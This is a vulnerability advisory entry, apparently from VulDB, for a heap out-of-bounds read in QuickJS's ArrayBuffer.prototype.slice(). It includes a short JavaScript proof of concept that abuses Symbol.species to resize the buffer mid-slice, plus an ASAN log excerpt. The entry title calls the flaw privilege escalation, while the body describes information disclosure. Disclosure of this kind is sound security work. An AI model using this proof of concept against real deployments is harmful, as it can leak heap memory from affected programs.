| 标题 | Fabrice Bellard QuickJS Latest commit eb2c890 (and earlier versions) Memory Corruption |
|---|
| 描述 | A heap buffer overflow vulnerability exists in ArrayBuffer.prototype.slice() for resizable ArrayBuffers.
The following proof-of-concept triggers the issue:
let buf = new ArrayBuffer(1000, { maxByteLength: 2000 });
Object.defineProperty(buf.constructor, Symbol.species, {
value: function(len) {
buf.resize(100);
return new ArrayBuffer(len);
}
});
buf.slice(500, 1000);
The vulnerability is a Time-of-Check-Time-of-Use (TOCTOU, CWE-367) condition where the
species constructor resizes the buffer mid-operation. The subsequent memcpy()
uses stale offset values calculated before the resize, resulting in an
out-of-bounds read of 400+ bytes beyond the allocated heap buffer.
ASAN logs:
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000002b74 at pc 0x7f41b0c4814b bp 0x7ffc17851450 sp 0x7ffc17850c00
READ of size 500 at 0x60b000002b74 thread T0 [...]
Impact: Information disclosure through heap memory leak (CWE-125: Out-of-bounds Read)
Affected Implementations:
- bellard/quickjs (issue #451)
- quickjs-ng/quickjs (issue #1210)
Credits: Iacob Razvan Mihai |
|---|
| 来源 | ⚠️ https://github.com/bellard/quickjs/issues/451 |
|---|
| 用户 | im-razvan (UID 91857) |
|---|
| 提交 | 2025-10-21 01時27分 (12 月前) |
|---|
| 管理 | 2025-11-05 14時54分 (16 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 331268 [QuickJS 直到 eb2c89087def1829ed99630cb14b549d7a98408c quickjs.c js_array_buffer_slice Local Privilege Escalation] |
|---|
| 积分 | 20 |
|---|